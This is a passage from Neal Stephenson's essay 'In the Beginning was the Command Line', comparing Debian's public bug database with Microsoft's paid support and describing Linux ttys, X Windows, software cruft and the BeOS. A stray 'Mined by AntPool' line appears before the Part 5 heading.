of error, fallibility, and redemption. It is simplicity itself. When
had a problem with Debian in early January of 1997, I sent in a
message describing the problem to submit@bugs.debian.org. My problem
was promptly assigned a bug report number (#6518) and a severity level
(the available choices being critical, grave, important, normal, fixed,
and wishlist) and forwarded to mailing lists where Debian people hang
out. Within twenty-four hours I had received five e-mails telling me how
to fix the problem: two from North America, two from Europe, and one from
Australia. All of these e-mails gave me the same suggestion, which worked,
and made my problem go away. But at the same time, a transcript of this
exchange was posted to Debian's bug database, so that if other users
had the same problem later, they would be able to search through and
find the solution without having to enter a new, redundant bug report.
Contrast this with the experience that I had when I tried to install
Windows NT 4.0 on the very same machine about ten months later, in late
1997. The installation program simply stopped in the middle with no error
messages. I went to the Microsoft Support website and tried to perform
a search for existing help documents that would address my problem. The
search engine was completely nonfunctional; it did nothing at all. It
did not even give me a message telling me that it was not working.
Eventually I decided that my motherboard must be at fault; it was
of a slightly unusual make and model, and NT did not support as many
different motherboards as Linux. I am always looking for excuses, no
matter how feeble, to buy new hardware, so I bought a new motherboard
that was Windows NT logo-compatible, meaning that the Windows NT logo was
printed right on the box. I installed this into my computer and got Linux
running right away, then attempted to install Windows NT again. Again,
the installation died without any error message or explanation. By this
time a couple of weeks had gone by and I thought that perhaps the search
engine on the Microsoft Support website might be up and running. I gave
that a try but it still didn't work.
So I created a new Microsoft support account, then logged on to submit
the incident. I supplied my product ID number when asked, and then began
to follow the instructions on a series of help screens. In other words,
I was submitting a bug report just as with the Debian bug tracking
system. It's just that the interface was slicker--I was typing my
complaint into little text-editing boxes on Web forms, doing it all
through the GUI, whereas with Debian you send in an e-mail telegram. I
knew that when I was finished submitting the bug report, it would become
proprietary Microsoft information, and other users wouldn't be able to
see it. Many Linux users would refuse to participate in such a scheme on
ethical grounds, but I was willing to give it a shot as an experiment. In
the end, though I was never able to submit my bug report, because the
series of linked web pages that I was filling out eventually led me to
a completely blank page: a dead end.
So I went back and clicked on the buttons for "phone support" and
eventually was given a Microsoft telephone number. When I dialed this
number I got a series of piercing beeps and a recorded message from
the phone company saying "We're sorry, your call cannot be completed as
dialed."
I tried the search page again--it was still completely nonfunctional. Then
I tried PPI (Pay Per Incident) again. This led me through another series
of Web pages until I dead-ended at one reading: "Notice-there is no Web
page matching your request."
I tried it again, and eventually got to a Pay Per Incident screen reading:
"OUT OF INCIDENTS. There are no unused incidents left in your account. If
you would like to purchase a support incident, click OK-you will then
be able to prepay for an incident...." The cost per incident was $95.
The experiment was beginning to seem rather expensive, so I gave up on the
PPI approach and decided to have a go at the FAQs posted on Microsoft's
website. None of the available FAQs had anything to do with my problem
except for one entitled "I am having some problems installing NT" which
appeared to have been written by flacks, not engineers.
So I gave up and still, to this day, have never gotten Windows NT
installed on that particular machine. For me, the path of least resistance
was simply to use Debian Linux.
In the world of open source software, bug reports are useful
information. Making them public is a service to other users, and improves
the OS. Making them public systematically is so important that highly
intelligent people voluntarily put time and money into running bug
databases. In the commercial OS world, however, reporting a bug is a
privilege that you have to pay lots of money for. But if you pay for
it, it follows that the bug report must be kept confidential--otherwise
anyone could get the benefit of your ninety-five bucks! And yet nothing
prevents NT users from setting up their own public bug database.
This is, in other words, another feature of the OS market that simply
makes no sense unless you view it in the context of culture. What
Microsoft is selling through Pay Per Incident isn't technical support so
much as the continued illusion that its customers are engaging in some
kind of rational business transaction. It is a sort of routine maintenance
fee for the upkeep of the fantasy. If people really wanted a solid OS
they would use Linux, and if they really wanted tech support they would
find a way to get it; Microsoft's customers want something else.
As of this writing (Jan. 1999), something like 32,000 bugs have been
reported to the Debian Linux bug database. Almost all of them have
been fixed a long time ago. There are twelve "critical" bugs still
outstanding, of which the oldest was posted 79 days ago. There are 20
outstanding "grave" bugs of which the oldest is 1166 days old. There
are 48 "important" bugs and hundreds of "normal" and less important ones.
Likewise, BeOS (which I'll get to in a minute) has its own bug database
(http://www.be.com/developers/bugs/index.html) with its own classification
system, including such categories as "Not a Bug," "Acknowledged Feature,"
and "Will Not Fix." Some of the "bugs" here are nothing more than Be
hackers blowing off steam, and are classified as "Input Acknowledged." For
example, I found one that was posted on December 30th, 1998. It's in
the middle of a long list of bugs, wedged between one entitled "Mouse
working in very strange fashion" and another called "Change of BView
frame does not affect, if BView not attached to a BWindow."
This one is entitled
R4: BeOS missing megalomaniacal figurehead to harness and focus developer
rage
and it goes like this:
----------------------------
Be Status: Input Acknowledged BeOS Version: R3.2 Component: unknown
Full Description:
The BeOS needs a megalomaniacal egomaniac sitting on its throne to
give it a human character which everyone loves to hate. Without this,
the BeOS will languish in the impersonifiable realm of OSs that people
can never quite get a handle on. You can judge the success of an OS not
by the quality of its features, but by how infamous and disliked the
leaders behind them are.
I believe this is a side-effect of developer comraderie under miserable
conditions. After all, misery loves company. I believe that making the
BeOS less conceptually accessible and far less reliable will require
developers to band together, thus developing the kind of community where
strangers talk to one- another, kind of like at a grocery store before
a huge snowstorm.
Following this same program, it will likely be necessary to move the BeOS
headquarters to a far-less-comfortable climate. General environmental
discomfort will breed this attitude within and there truly is no greater
recipe for success. I would suggest Seattle, but I think it's already
taken. You might try Washington, DC, but definitely not somewhere like
San Diego or Tucson.
----------------------------
Unfortunately, the Be bug reporting system strips off the names of the
people who report the bugs (to protect them from retribution!?) and so
I don't know who wrote this.
So it would appear that I'm in the middle of crowing about the technical
and moral superiority of Debian Linux. But as almost always happens in
the OS world, it's more complicated than that. I have Windows NT running
on another machine, and the other day (Jan. 1999), when I had a problem
with it, I decided to have another go at Microsoft Support. This time
the search engine actually worked (though in order to reach it I had
to identify myself as "advanced"). And instead of coughing up some
useless FAQ, it located about two hundred documents (I was using very
vague search criteria) that were obviously bug reports--though they were
called something else. Microsoft, in other words, has got a system up and
running that is functionally equivalent to Debian's bug database. It looks
and feels different, of course, but it contains technical nitty-gritty
and makes no bones about the existence of errors.
As I've explained, selling OSes for money is a basically untenable
position, and the only way Apple and Microsoft can get away with it
is by pursuing technological advancements as aggressively as they can,
and by getting people to believe in, and to pay for, a particular image:
in the case of Apple, that of the creative free thinker, and in the case
of Microsoft, that of the respectable techno-bourgeois. Just like Disney,
they're making money from selling an interface, a magic mirror. It has
to be polished and seamless or else the whole illusion is ruined and
the business plan vanishes like a mirage.
Accordingly, it was the case until recently that the people who wrote
manuals and created customer support websites for commercial OSes seemed
to have been barred, by their employers' legal or PR departments, from
admitting, even obliquely, that the software might contain bugs or that
the interface might be suffering from the blinking twelve problem. They
couldn't address users' actual difficulties. The manuals and websites
were therefore useless, and caused even technically self-assured users
to wonder whether they were going subtly insane.
When Apple engages in this sort of corporate behavior, one wants to
believe that they are really trying their best. We all want to give Apple
the benefit of the doubt, because mean old Bill Gates kicked the crap
out of them, and because they have good PR. But when Microsoft does it,
one almost cannot help becoming a paranoid conspiracist. Obviously they
are hiding something from us! And yet they are so powerful! They are
trying to drive us crazy!
This approach to dealing with one's customers was straight out of the
Central European totalitarianism of the mid-Twentieth Century. The
adjectives "Kafkaesque" and "Orwellian" come to mind. It couldn't last,
any more than the Berlin Wall could, and so now Microsoft has a publicly
available bug database. It's called something else, and it takes a while
to find it, but it's there.
They have, in other words, adapted to the two-tiered Eloi/Morlock
structure of technological society. If you're an Eloi you install Windows,
follow the instructions, hope for the best, and dumbly suffer when it
breaks. If you're a Morlock you go to the website, tell it that you are
"advanced," find the bug database, and get the truth straight from some
anonymous Microsoft engineer.
But once Microsoft has taken this step, it raises the question, once
again, of whether there is any point to being in the OS business at
all. Customers might be willing to pay $95 to report a problem to
Microsoft if, in return, they get some advice that no other user is
getting. This has the useful side effect of keeping the users alienated
from one another, which helps maintain the illusion that bugs are rare
aberrations. But once the results of those bug reports become openly
available on the Microsoft website, everything changes. No one is going
to cough up $95 to report a problem when chances are good that some
other sucker will do it first, and that instructions on how to fix the
bug will then show up, for free, on a public website. And as the size
of the bug database grows, it eventually becomes an open admission,
on Microsoft's part, that their OSes have just as many bugs as their
competitors'. There is no shame in that; as I mentioned, Debian's bug
database has logged 32,000 reports so far. But it puts Microsoft on
an equal footing with the others and makes it a lot harder for their
customers--who want to believe--to believe.
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Mined by AntPool bj5/
In the Beginning was the Command Line - Part 5/6
MEMENTO MORI
Once the Linux machine has finished spitting out its jargonic opening
telegram, it prompts me to log in with a user name and a password. At
this point the machine is still running the command line interface,
with white letters on a black screen. There are no windows, menus, or
buttons. It does not respond to the mouse; it doesn't even know that
the mouse is there. It is still possible to run a lot of software at
this point. Emacs, for example, exists in both a CLI and a GUI version
(actually there are two GUI versions, reflecting some sort of doctrinal
schism between Richard Stallman and some hackers who got fed up with
him). The same is true of many other Unix programs. Many don't have a GUI
at all, and many that do are capable of running from the command line.
Of course, since my computer only has one monitor screen, I can only see
one command line, and so you might think that I could only interact with
one program at a time. But if I hold down the Alt key and then hit the F2
function button at the top of my keyboard, I am presented with a fresh,
blank, black screen with a login prompt at the top of it. I can log in
here and start some other program, then hit Alt-F1 and go back to the
first screen, which is still doing whatever it was when I left it. Or I
can do Alt-F3 and log in to a third screen, or a fourth, or a fifth. On
one of these screens I might be logged in as myself, on another as root
(the system administrator), on yet another I might be logged on to some
other computer over the Internet.
Each of these screens is called, in Unix-speak, a tty, which is an
abbreviation for teletype. So when I use my Linux system in this way
I am going right back to that small room at Ames High School where I
first wrote code twenty-five years ago, except that a tty is quieter and
faster than a teletype, and capable of running vastly superior software,
such as emacs or the GNU development tools.
It is easy (easy by Unix, not Apple/Microsoft standards) to configure
a Linux machine so that it will go directly into a GUI when you boot it
up. This way, you never see a tty screen at all. I still have mine boot
into the white-on-black teletype screen however, as a computational
memento mori. It used to be fashionable for a writer to keep a human
skull on his desk as a reminder that he was mortal, that all about him
was vanity. The tty screen reminds me that the same thing is true of
slick user interfaces.
The X Windows System, which is the GUI of Unix, has to be capable of
running on hundreds of different video cards with different chipsets,
amounts of onboard memory, and motherboard buses. Likewise, there are
hundreds of different types of monitors on the new and used market, each
with different specifications, and so there are probably upwards of a
million different possible combinations of card and monitor. The only
thing they all have in common is that they all work in VGA mode, which
is the old command-line screen that you see for a few seconds when you
launch Windows. So Linux always starts in VGA, with a teletype interface,
because at first it has no idea what sort of hardware is attached to your
computer. In order to get beyond the glass teletype and into the GUI,
you have to tell Linux exactly what kinds of hardware you have. If you
get it wrong, you'll get a blank screen at best, and at worst you might
actually destroy your monitor by feeding it signals it can't handle.
When I started using Linux this had to be done by hand. I once spent
the better part of a month trying to get an oddball monitor to work for
me, and filled the better part of a composition book with increasingly
desperate scrawled notes. Nowadays, most Linux distributions ship with
a program that automatically scans the video card and self-configures
the system, so getting X Windows up and running is nearly as easy as
installing an Apple/Microsoft GUI. The crucial information goes into a
file (an ASCII text file, naturally) called XF86Config, which is worth
looking at even if your distribution creates it for you automatically. For
most people it looks like meaningless cryptic incantations, which is the
whole point of looking at it. An Apple/Microsoft system needs to have the
same information in order to launch its GUI, but it's apt to be deeply
hidden somewhere, and it's probably in a file that can't even be opened
and read by a text editor. All of the important files that make Linux
systems work are right out in the open. They are always ASCII text files,
so you don't need special tools to read them. You can look at them any
time you want, which is good, and you can mess them up and render your
system totally dysfunctional, which is not so good.
At any rate, assuming that my XF86Config file is just so, I enter the
command "startx" to launch the X Windows System. The screen blanks out for
a minute, the monitor makes strange twitching noises, then reconstitutes
itself as a blank gray desktop with a mouse cursor in the middle. At
the same time it is launching a window manager. X Windows is pretty
low-level software; it provides the infrastructure for a GUI, and it's
a heavy industrial infrastructure. But it doesn't do windows. That's
handled by another category of application that sits atop X Windows,
called a window manager. Several of these are available, all free of
course. The classic is twm (Tom's Window Manager) but there is a smaller
and supposedly more efficient variant of it called fvwm, which is what
I use. I have my eye on a completely different window manager called
Enlightenment, which may be the hippest single technology product I
have ever seen, in that (a) it is for Linux, (b) it is freeware, (c)
it is being developed by a very small number of obsessed hackers, and
(d) it looks amazingly cool; it is the sort of window manager that might
show up in the backdrop of an Aliens movie.
Anyway, the window manager acts as an intermediary between X Windows and
whatever software you want to use. It draws the window frames, menus,
and so on, while the applications themselves draw the actual content
in the windows. The applications might be of any sort: text editors,
Web browsers, graphics packages, or utility programs, such as a clock
or calculator. In other words, from this point on, you feel as if
you have been shunted into a parallel universe that is quite similar
to the familiar Apple or Microsoft one, but slightly and pervasively
different. The premier graphics program under Apple/Microsoft is Adobe
Photoshop, but under Linux it's something called The GIMP. Instead of
the Microsoft Office Suite, you can buy something called ApplixWare. Many
commercial software packages, such as Mathematica, Netscape Communicator,
and Adobe Acrobat, are available in Linux versions, and depending on
how you set up your window manager you can make them look and behave
just as they would under MacOS or Windows.
But there is one type of window you'll see on Linux GUI that is rare or
nonexistent under other OSes. These windows are called "xterm" and contain
nothing but lines of text--this time, black text on a white background,
though you can make them be different colors if you choose. Each xterm
window is a separate command line interface--a tty in a window. So even
when you are in full GUI mode, you can still talk to your Linux machine
through a command-line interface.
There are many good pieces of Unix software that do not have GUIs at
all. This might be because they were developed before X Windows was
available, or because the people who wrote them did not want to suffer
through all the hassle of creating a GUI, or because they simply do not
need one. In any event, those programs can be invoked by typing their
names into the command line of an xterm window. The whoami command,
mentioned earlier, is a good example. There is another called wc ("word
count") which simply returns the number of lines, words, and characters
in a text file.
The ability to run these little utility programs on the command line is
a great virtue of Unix, and one that is unlikely to be duplicated by pure
GUI operating systems. The wc command, for example, is the sort of thing
that is easy to write with a command line interface. It probably does
not consist of more than a few lines of code, and a clever programmer
could probably write it in a single line. In compiled form it takes up
just a few bytes of disk space. But the code required to give the same
program a graphical user interface would probably run into hundreds or
even thousands of lines, depending on how fancy the programmer wanted
to make it. Compiled into a runnable piece of software, it would have a
large overhead of GUI code. It would be slow to launch and it would use up
a lot of memory. This would simply not be worth the effort, and so "wc"
would never be written as an independent program at all. Instead users
would have to wait for a word count feature to appear in a commercial
software package.
GUIs tend to impose a large overhead on every single piece of software,
even the smallest, and this overhead completely changes the programming
environment. Small utility programs are no longer worth writing. Their
functions, instead, tend to get swallowed up into omnibus software
packages. As GUIs get more complex, and impose more and more overhead,
this tendency becomes more pervasive, and the software packages grow
ever more colossal; after a point they begin to merge with each other,
as Microsoft Word and Excel and PowerPoint have merged into Microsoft
Office: a stupendous software Wal-Mart sitting on the edge of a town
filled with tiny shops that are all boarded up.
It is an unfair analogy, because when a tiny shop gets boarded up it
means that some small shopkeeper has lost his business. Of course
nothing of the kind happens when "wc" becomes subsumed into one of
Microsoft Word's countless menu items. The only real drawback is a
loss of flexibility for the user, but it is a loss that most customers
obviously do not notice or care about. The most serious drawback to the
Wal-Mart approach is that most users only want or need a tiny fraction
of what is contained in these giant software packages. The remainder
is clutter, dead weight. And yet the user in the next cubicle over will
have completely different opinions as to what is useful and what isn't.
The other important thing to mention, here, is that Microsoft has included
a genuinely cool feature in the Office package: a Basic programming
package. Basic is the first computer language that I learned, back
when I was using the paper tape and the teletype. By using the version
of Basic that comes with Office you can write your own little utility
programs that know how to interact with all of the little doohickeys,
gewgaws, bells, and whistles in Office. Basic is easier to use than
the languages typically employed in Unix command-line programming,
and Office has reached many, many more people than the GNU tools. And
so it is quite possible that this feature of Office will, in the end,
spawn more hacking than GNU.
But now I'm talking about application software, not operating systems. And
as I've said, Microsoft's application software tends to be very good
stuff. I don't use it very much, because I am nowhere near their target
market. If Microsoft ever makes a software package that I use and like,
then it really will be time to dump their stock, because I am a market
segment of one.
GEEK FATIGUE
Over the years that I've been working with Linux I have filled three and
a half notebooks logging my experiences. I only begin writing things
down when I'm doing something complicated, like setting up X Windows
or fooling around with my Internet connection, and so these notebooks
contain only the record of my struggles and frustrations. When things
are going well for me, I'll work along happily for many months without
jotting down a single note. So these notebooks make for pretty bleak
reading. Changing anything under Linux is a matter of opening up various
of those little ASCII text files and changing a word here and a character
there, in ways that are extremely significant to how the system operates.
Many of the files that control how Linux operates are nothing more than
command lines that became so long and complicated that not even Linux
hackers could type them correctly. When working with something as powerful
as Linux, you can easily devote a full half-hour to engineering a single
command line. For example, the "find" command, which searches your file
system for files that match certain criteria, is fantastically powerful
and general. Its "man" is eleven pages long, and these are pithy pages;
you could easily expand them into a whole book. And if that is not
complicated enough in and of itself, you can always pipe the output of
one Unix command to the input of another, equally complicated one. The
"pon" command, which is used to fire up a PPP connection to the Internet,
requires so much detailed information that it is basically impossible
to launch it entirely from the command line. Instead you abstract big
chunks of its input into three or four different files. You need a dialing
script, which is effectively a little program telling it how to dial the
phone and respond to various events; an options file, which lists up to
about sixty different options on how the PPP connection is to be set up;
and a secrets file, giving information about your password.
Presumably there are godlike Unix hackers somewhere in the world who don't
need to use these little scripts and options files as crutches, and who
can simply pound out fantastically complex command lines without making
typographical errors and without having to spend hours flipping through
documentation. But I'm not one of them. Like almost all Linux users, I
depend on having all of those details hidden away in thousands of little
ASCII text files, which are in turn wedged into the recesses of the Unix
filesystem. When I want to change something about the way my system works,
I edit those files. I know that if I don't keep track of every little
change I've made, I won't be able to get your system back in working
order after I've gotten it all messed up. Keeping hand-written logs is
tedious, not to mention kind of anachronistic. But it's necessary.
I probably could have saved myself a lot of headaches by doing business
with a company called Cygnus Support, which exists to provide assistance
to users of free software. But I didn't, because I wanted to see if I
could do it myself. The answer turned out to be yes, but just barely. And
there are many tweaks and optimizations that I could probably make in my
system that I have never gotten around to attempting, partly because I
get tired of being a Morlock some days, and partly because I am afraid
of fouling up a system that generally works well.
Though Linux works for me and many other users, its sheer power and
generality is its Achilles' heel. If you know what you are doing,
you can buy a cheap PC from any computer store, throw away the Windows
discs that come with it, turn it into a Linux system of mind-boggling
complexity and power. You can hook it up to twelve other Linux boxes and
make it into part of a parallel computer. You can configure it so that a
hundred different people can be logged onto it at once over the Internet,
via as many modem lines, Ethernet cards, TCP/IP sockets, and packet radio
links. You can hang half a dozen different monitors off of it and play
DOOM with someone in Australia while tracking communications satellites in
orbit and controlling your house's lights and thermostats and streaming
live video from your web-cam and surfing the Net and designing circuit
boards on the other screens. But the sheer power and complexity of the
system--the qualities that make it so vastly technically superior to other
OSes--sometimes make it seem too formidable for routine day-to-day use.
Sometimes, in other words, I just want to go to Disneyland.
The ideal OS for me would be one that had a well-designed GUI that was
easy to set up and use, but that included terminal windows where I could
revert to the command line interface, and run GNU software, when it made
sense. A few years ago, Be Inc. invented exactly that OS. It is called
the BeOS.
ETRE
Many people in the computer business have had a difficult time grappling
with Be, Incorporated, for the simple reason that nothing about it seems
to make any sense whatsoever. It was launched in late 1990, which makes it
roughly contemporary with Linux. From the beginning it has been devoted
to creating a new operating system that is, by design, incompatible with
all the others (though, as we shall see, it is compatible with Unix in
some very important ways). If a definition of "celebrity" is someone who
is famous for being famous, then Be is an anti-celebrity. It is famous
for not being famous; it is famous for being doomed. But it has been
doomed for an awfully long time.
Be's mission might make more sense to hackers than to other people. In
order to explain why I need to explain the concept of cruft, which, to
people who write code, is nearly as abhorrent as unnecessary repetition.
If you've been to San Francisco you may have seen older buildings that
have undergone "seismic upgrades," which frequently means that grotesque
superstructures of modern steelwork are erected around buildings made
in, say, a Classical style. When new threats arrive--if we have an Ice
Age, for example--additional layers of even more high-tech stuff may be
constructed, in turn, around these, until the original building is like
a holy relic in a cathedral--a shard of yellowed bone enshrined in half
a ton of fancy protective junk.
Analogous measures can be taken to keep creaky old operating systems
working. It happens all the time. Ditching an worn-out old OS ought to be
simplified by the fact that, unlike old buildings, OSes have no aesthetic
or cultural merit that makes them intrinsically worth saving. But
it doesn't work that way in practice. If you work with a computer,
you have probably customized your "desktop," the environment in which
you sit down to work every day, and spent a lot of money on software
that works in that environment, and devoted much time to familiarizing
yourself with how it all works. This takes a lot of time, and time is
money. As already mentioned, the desire to have one's interactions with
complex technologies simplified through the interface, and to surround
yourself with virtual tchotchkes and lawn ornaments, is natural and
pervasive--presumably a reaction against the complexity and formidable
abstraction of the computer world. Computers give us more choices than we
really want. We prefer to make those choices once, or accept the defaults
handed to us by software companies, and let sleeping dogs lie. But when
an OS gets changed, all the dogs jump up and start barking.
The average computer user is a technological antiquarian who doesn't
really like things to change. He or she is like an urban professional who
has just bought a charming fixer-upper and is now moving the furniture
and knicknacks around, and reorganizing the kitchen cupboards, so that
everything's just right. If it is necessary for a bunch of engineers
to scurry around in the basement shoring up the foundation so that it
can support the new cast-iron claw-foot bathtub, and snaking new wires
and pipes through the walls to supply modern appliances, why, so be
it--engineers are cheap, at least when millions of OS users split the
cost of their services.
Likewise, computer users want to have the latest Pentium in their
machines, and to be able to surf the web, without messing up all
the stuff that makes them feel as if they know what the hell is going
on. Sometimes this is actually possible. Adding more RAM to your system
is a good example of an upgrade that is not likely to screw anything up.
Alas, very few upgrades are this clean and simple. Lawrence Lessig,
the whilom Special Master in the Justice Department's antitrust suit
against Microsoft, complained that he had installed Internet Explorer on
his computer, and in so doing, lost all of his bookmarks--his personal
list of signposts that he used to navigate through the maze of the
Internet. It was as if he'd bought a new set of tires for his car, and
then, when pulling away from the garage, discovered that, owing to some
inscrutable side-effect, every signpost and road map in the world had
been destroyed. If he's like most of us, he had put a lot of work into
compiling that list of bookmarks. This is only a small taste of the sort
of trouble that upgrades can cause. Crappy old OSes have value in the
basically negative sense that changing to new ones makes us wish we'd
never been born.
All of the fixing and patching that engineers must do in order to give
us the benefits of new technology without forcing us to think about
it, or to change our ways, produces a lot of code that, over time,
turns into a giant clot of bubble gum, spackle, baling wire and duct
tape surrounding every operating system. In the jargon of hackers,
it is called "cruft." An operating system that has many, many layers
of it is described as "crufty." Hackers hate to do things twice, but
when they see something crufty, their first impulse is to rip it out,
throw it away, and start anew.
If Mark Twain were brought back to San Francisco today and dropped into
one of these old seismically upgraded buildings, it would look just the
same to him, with all the doors and windows in the same places--but if
he stepped outside, he wouldn't recognize it. And--if he'd been brought
back with his wits intact--he might question whether the building had been
worth going to so much trouble to save. At some point, one must ask the
question: is this really worth it, or should we maybe just tear it down
and put up a good one? Should we throw another human wave of structural
engineers at stabilizing the Leaning Tower of Pisa, or should we just
let the damn thing fall over and build a tower that doesn't suck?
Like an upgrade to an old building, cruft always seems like a good
idea when the first layers of it go on--just routine maintenance, sound
prudent management. This is especially true if (as it were) you never
look into the cellar, or behind the drywall. But if you are a hacker
who spends all his time looking at it from that point of view, cruft
is fundamentally disgusting, and you can't avoid wanting to go after it
with a crowbar. Or, better yet, simply walk out of the building--let the
Leaning Tower of Pisa fall over--and go make a new one THAT DOESN'T LEAN.
For a long time it was obvious to Apple, Microsoft, and their customers
that the first generation of GUI operating systems was doomed, and that
they would eventually need to be ditched and replaced with completely
fresh ones. During the late Eighties and early Nineties, Apple launched a
few abortive efforts to make fundamentally new post-Mac OSes such as Pink
and Taligent. When those efforts failed they launched a new project called
Copland which also failed. In 1997 they flirted with the idea of acquiring
Be, but instead they acquired Next, which has an OS called NextStep that
is, in effect, a variant of Unix. As these efforts went on, and on, and
on, and failed and failed and failed, Apple's engineers, who were among
the best in the business, kept layering on the cruft. They were gamely
trying to turn the little toaster into a multi-tasking, Internet-savvy
machine, and did an amazingly good job of it for a while--sort of like a
movie hero running across a jungle river by hopping across crocodiles'
backs. But in the real world you eventually run out of crocodiles,
or step on a really smart one.
Speaking of which, Microsoft tackled the same problem in a considerably
more orderly way by creating a new OS called Windows NT, which is
explicitly intended to be a direct competitor of Unix. NT stands for "New
Technology" which might be read as an explicit rejection of cruft. And
indeed, NT is reputed to be a lot less crufty than what MacOS eventually
turned into; at one point the documentation needed to write code on the
Mac filled something like 24 binders. Windows 95 was, and Windows 98 is,
crufty because they have to be backward-compatible with older Microsoft
OSes. Linux deals with the cruft problem in the same way that Eskimos
supposedly dealt with senior citizens: if you insist on using old versions
of Linux software, you will sooner or later find yourself drifting
through the Bering Straits on a dwindling ice floe. They can get away
with this because most of the software is free, so it costs nothing to
download up-to-date versions, and because most Linux users are Morlocks.
The great idea behind BeOS was to start from a clean sheet of paper and
design an OS the right way. And that is exactly what they did. This was
obviously a good idea from an aesthetic standpoint, but does not a sound
business plan make. Some people I know in the GNU/Linux world are annoyed
with Be for going off on this quixotic adventure when their formidable
skills could have been put to work helping to promulgate Linux.
Indeed, none of it makes sense until you remember that the founder of
the company, Jean-Louis Gassee, is from France--a country that for many
years maintained its own separate and independent version of the English
monarchy at a court in St. Germaines, complete with courtiers, coronation
ceremonies, a state religion and a foreign policy. Now, the same annoying
yet admirable stiff-neckedness that gave us the Jacobites, the force de
frappe, Airbus, and ARRET signs in Quebec, has brought us a really cool
operating system. I fart in your general direction, Anglo-Saxon pig-dogs!
To create an entirely new OS from scratch, just because none of the
existing ones was exactly right, struck me as an act of such colossal
nerve that I felt compelled to support it. I bought a BeBox as soon as
I could. The BeBox was a dual-processor machine, powered by Motorola
chips, made specifically to run the BeOS; it could not run any other
operating system. That's why I bought it. I felt it was a way to burn my
bridges. Its most distinctive feature is two columns of LEDs on the front
panel that zip up and down like tachometers to convey a sense of how
hard each processor is working. I thought it looked cool, and besides,
I reckoned that when the company went out of business in a few months,
my BeBox would be a valuable collector's item.
Now it is about two years later and I am typing this on my BeBox. The
LEDs (Das Blinkenlights, as they are called in the Be community) flash
merrily next to my right elbow as I hit the keys. Be, Inc. is still in
business, though they stopped making BeBoxes almost immediately after
I bought mine. They made the sad, but probably quite wise decision that
hardware was a sucker's game, and ported the BeOS to Macintoshes and Mac
clones. Since these used the same sort of Motorola chips that powered
the BeBox, this wasn't especially hard.
Very soon afterwards, Apple strangled the Mac-clone makers and restored
its hardware monopoly. So, for a while, the only new machines that could
run BeOS were made by Apple.
By this point Be, like Spiderman with his Spider-sense, had developed
a keen sense of when they were about to get crushed like a bug. Even
if they hadn't, the notion of being dependent on Apple--so frail and
yet so vicious--for their continued existence should have put a fright
into anyone. Now engaged in their own crocodile-hopping adventure,
they ported the BeOS to Intel chips--the same chips used in Windows
machines. And not a moment too soon, for when Apple came out with its new
top-of-the-line hardware, based on the Motorola G3 chip, they withheld
the technical data that Be's engineers would need to make the BeOS run
on those machines. This would have killed Be, just like a slug between
the eyes, if they hadn't made the jump to Intel.
So now BeOS runs on an assortment of hardware that is almost incredibly
motley: BeBoxes, aging Macs and Mac orphan-clones, and Intel machines
that are intended to be used for Windows. Of course the latter type are
ubiquitous and shockingly cheap nowadays, so it would appear that Be's
hardware troubles are finally over. Some German hackers have even come
up with a Das Blinkenlights replacement: it's a circuit board kit that
you can plug into PC-compatible machines running BeOS. It gives you the
zooming LED tachometers that were such a popular feature of the BeBox.
My BeBox is already showing its age, as all computers do after a couple
of years, and sooner or later I'll probably have to replace it with
an Intel machine. Even after that, though, I will still be able to use
it. Because, inevitably, someone has now ported Linux to the BeBox.
At any rate, BeOS has an extremely well-thought-out GUI built on a
technological framework that is solid. It is based from the ground up
on modern object-oriented software principles. BeOS software consists of
quasi-independent software entities called objects, which communicate by
sending messages to each other. The OS itself is made up of such objects,
and serves as a kind of post office or Internet that routes messages to
and fro, from object to object. The OS is multi-threaded, which means that
like all other modern OSes it can walk and chew gum at the same time;
but it gives programmers a lot of power over spawning and terminating
threads, or independent sub-processes. It is also a multi-processing OS,
which means that it is inherently good at running on computers that have
more than one CPU (Linux and Windows NT can also do this proficiently).
For this user, a big selling point of BeOS is the built-in Terminal
application, which enables you to open up windows that are equivalent to
the xterm windows in Linux. In other words, the command line interface
is available if you want it. And because BeOS hews to a certain standard
called POSIX, it is capable of running most of the GNU software. That is
to say that the vast array of command-line software developed by the GNU
crowd will work in BeOS terminal windows without complaint. This includes
the GNU development tools-the compiler and linker. And it includes all
of the handy little utility programs. I'm writing this using a modern
sort of user-friendly text editor called Pe, written by a Dutchman
named Maarten Hekkelman, but when I want to find out how long it is,
I jump to a terminal window and run "wc."
As is suggested by the sample bug report I quoted earlier, people who
work for Be, and developers who write code for BeOS, seem to be enjoying
themselves more than their counterparts in other OSes. They also seem
to be a more diverse lot in general. A couple of years ago I went to an
auditorium at a local university to see some representatives of Be put
on a dog-and-pony show. I went because I assumed that the place would
be empty and echoing, and I felt that they deserved an audience of at
least one. In fact, I ended up standing in an aisle, for hundreds of
students had packed the place. It was like a rock concert. One of the
two Be engineers on the stage was a black man, which unfortunately
is a very odd thing in the high-tech world. The other made a ringing
denunciation of cruft, and extolled BeOS for its cruft-free qualities,
and actually came out and said that in ten or fifteen years, when BeOS had
become all crufty like MacOS and Windows 95, it would be time to simply
throw it away and create a new OS from scratch. I doubt that this is an
official Be, Inc. policy, but it sure made a big impression on everyone
in the room! During the late Eighties, the MacOS was, for a time, the
OS of cool people-artists and creative-minded hackers-and BeOS seems
to have the potential to attract the same crowd now. Be mailing lists
are crowded with hackers with names like Vladimir and Olaf and Pierre,
sending flames to each other in fractured techno-English.
The only real question about BeOS is whether or not it is doomed.
Of late, Be has responded to the tiresome accusation that they are
doomed with the assertion that BeOS is "a media operating system" made
for media content creators, and hence is not really in competition with
Windows at all. This is a little bit disingenuous. To go back to the
car dealership analogy, it is like the Batmobile dealer claiming that
he is not really in competition with the others because his car can go
three times as fast as theirs and is also capable of flying.
Be has an office in Paris, and, as mentioned, the conversation on Be
mailing lists has a strongly European flavor. At the same time they have
made strenuous efforts to find a niche in Japan, and Hitachi has recently
begun bundling BeOS with their PCs. So if I had to make wild guess I'd
say that they are playing Go while Microsoft is playing chess. They are
staying clear, for now, of Microsoft's overwhelmingly strong position in
North America. They are trying to get themselves established around the
edges of the board, as it were, in Europe and Japan, where people may
be more open to alternative OSes, or at least more hostile to Microsoft,
than they are in the United States.
What holds Be back in this country is that the smart people are afraid
to look like suckers. You run the risk of looking naive when you say
"I've tried the BeOS and here's what I think of it." It seems much more
sophisticated to say "Be's chances of carving out a new niche in the
highly competitive OS market are close to nil."
It is, in techno-speak, a problem of mindshare. And in the OS business,
mindshare is more than just a PR issue; it has direct effects on the
technology itself. All of the peripheral gizmos that can be hung off of
a personal computer--the printers, scanners, PalmPilot interfaces, and
